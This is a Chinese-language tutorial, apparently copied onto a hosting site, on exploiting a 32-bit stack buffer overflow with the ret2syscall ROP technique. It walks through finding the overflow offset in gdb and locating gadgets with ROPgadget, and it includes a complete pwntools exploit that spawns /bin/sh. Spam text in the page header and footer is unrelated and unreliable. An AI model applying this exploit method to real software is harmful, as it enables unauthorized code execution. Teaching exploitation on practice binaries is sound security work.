中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

緩沖區溢出-基本ROP-ret2syscall

發布時間:2020-07-12 13:57:27 來源:網絡 閱讀:1645 作者:Margin_51cto 欄目:安全技術

本文視頻:
????????? 如果文字過于枯燥,可觀看在線視頻:https://edu.51cto.com/sd/16514

基礎知識:

???????? 我們在前面講的ret2text,ret2shellcode,今天來講下ret2syscall,也就是調用系統函數來獲取shell.

這里在講兩個概念:第一:ROP(Return-oriented programming),是一種基于代碼復用技術的新型***,***者供已有的庫或可執行文件中提取指令片段、構建惡意代碼。

第二:Gadgets是指在程序中的指令片段,有時我們為了達到我們執行命令的目的,需要多個Gadget來完成我們的功能。Gadget最后一般都有ret,因為要講程序控制權(ip)給下一個Gadget。

第一步:分析程序獲取溢出偏移量

我們先將程序拖到IDA中去分析(要注意32的程序就要用32位的IDA去分析,64的程序就要用64位的IDA去分析,如果不這么做F5看C的偽代碼時看不了。)

緩沖區溢出-基本ROP-ret2syscall

第八行里又一個gets函數是有溢出漏洞的,這個問題我們在ret2shellcode里已經講過了。此時我們要使用gdb里的pattern offset來獲取溢出偏移量,這次我們換種方法獲取。使用gdb打開ret2syscall。

在gets函數位置打斷點:b gets 然后輸入r開始調試

在輸入finish(結束當前函數調用,返回上層函數)

緩沖區溢出-基本ROP-ret2syscall

緩沖區溢出-基本ROP-ret2syscall

輸入幾個字母,這里我輸入的是margin,然后回車

緩沖區溢出-基本ROP-ret2syscall

此時我們發現ebp的地址是0xffffd618 , esp的值是0xffffd5ac,要覆蓋的ebp需要esp - ebp=0x6c位,在加上4位的ebp為112,所以我們要覆蓋到返回值,執行我們的命令。

第二步:獲取shell

我們知道溢出偏移量了,現在我們想執行命令,例如execve("/bin/sh",null,null)。此時要設計到Linux在調用系統函數時的用法。

系統函數調用的指令是int 0x80,這是固定指令,他有四個參數:

  • 系統調用號,即 eax 應該為 0xb

  • 第一個參數,即 ebx 應該指向 /bin/sh 的地址,其實執行 sh 的地址也可以。

  • 第二個參數,即 ecx 應該為 0

  • 第三個參數,即 edx 應該為 0

如果你學過任意一門編程語言,可以理解為int 0x80(eax,ebx,ecx,edx)。可能會有這樣的疑問:為什么是eax,ebx,ecx,edx要設置為這些值,答案是系統在運行的時候就是固定的要讀這四個寄存器,如果不這么寫,就不會調用到execve函數。

接下來我們就要一點點的去拼湊這些內容,我們沒法直接在棧里寫指令,只能夠利用程序中自帶的指令去拼湊。

首先我們將eax設置為0xb,我們是沒法直接往棧里寫mov eax,0xb的,那么還有另一種方式是pop eax,但是要保證棧頂必須是0xb。

然后設置ebx,ecx,edx,同樣是這樣的道理,所以我們可以想象棧中的數據是:

pop eax;ret

0xb

pop ebx;pop ecx;pop edx;ret

"/bin/sh"的地址

0

0

int 0x80的地址

這樣我們就可以保值eax,ebx,ecx,edx的值了。

所以接下來我們要在程序中找一下有沒有pop eax;和pop ebx;pop ecx;pop edx;的指令。

需要用到一個工具:ROPgadget

ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"

--only是指只有pop和ret指令

緩沖區溢出-基本ROP-ret2syscall

我們使用0x080bb196,符合我們的預期。

接下來找類似pop ebx;pop ecx;pop edx;的指令

ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"

緩沖區溢出-基本ROP-ret2syscall

恰好也有我們所需要的,只不過順序和我們的不同,在組織payload時候需要調換下順序。

我們在找一下字符串“/bin/sh”的地址

ROPgadget --binary ./ret2syscall --string "/bin/sh"

緩沖區溢出-基本ROP-ret2syscall

地址為0x080be408

我們在查找下“int 0x80”的地址

ROPgadget --binary ./ret2syscall --only "int"

緩沖區溢出-基本ROP-ret2syscall

地址為0x08049421

所以我們現在有了所有我們需要的內容了,接下來寫payload。

payload = 'a' * offset + pop_eax_ret_addr + 0xb + pop_edx_ecx_ebx_ret_addr + 0 + 0 + bin_sh_addr + 80_addr

得到exp

from pwn import *

sh = process('./ret2syscall')

pop_eax_ret = 0x080bb196

pop_edx_ecx_ebx_ret = 0x0806eb90

int_0x80 = 0x08049421

binsh = 0x80be408

payload = 'A' * 112 + p32(pop_eax_ret) +p32(0xb)+p32(pop_edx_ecx_ebx_ret)+ p32(0)+p32(0)+p32(binsh)+p32(int_0x80)

sh.sendline(payload)

sh.interactive()

最后,我們動態調試下這個程序,看我們把payload發送到程序中后,程序是如何執行的。

我們在python代碼中的sh.sendline(payload)前面加pause(),這樣我們可以使程序中斷,然后用gdb attach pid進行調試

第一步:python代碼中加入sh.sendline(payload),然后執行:python exp.py

緩沖區溢出-基本ROP-ret2syscall

我們的到這個進程的pid為4679,此時我們使用命令:gdb attach 4679進行調試

在gdb命令行輸入finish(結束當前函數,返回父級函數),這時候程序會等待我們輸入內容,我們在運行python的頁面里回車,這時exp.py的payload就會被輸入到4679的進程里。

緩沖區溢出-基本ROP-ret2syscall

此時我們發現exp.py里的內容已經放入棧中,然后我們輸入4次finish后代碼運行到Main函數中

緩沖區溢出-基本ROP-ret2syscall

上圖標紅的內容就是我們payload里的內容。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

拉萨市| 兴义市| 图片| 杭锦旗| 淮滨县| 合江县| 富宁县| 杂多县| 靖西县| 司法| 洞口县| 清水河县| 奉新县| 沙田区| 上林县| 承德县| 新巴尔虎右旗| 望城县| 罗平县| 广灵县| 通河县| 朝阳县| 芦溪县| 邳州市| 长汀县| 上高县| 三门县| 陵川县| 静宁县| 永宁县| 资源县| 安达市| 同仁县| 乐昌市| 满洲里市| 清丰县| 湖州市| 乌鲁木齐县| 陆川县| 报价| 滁州市|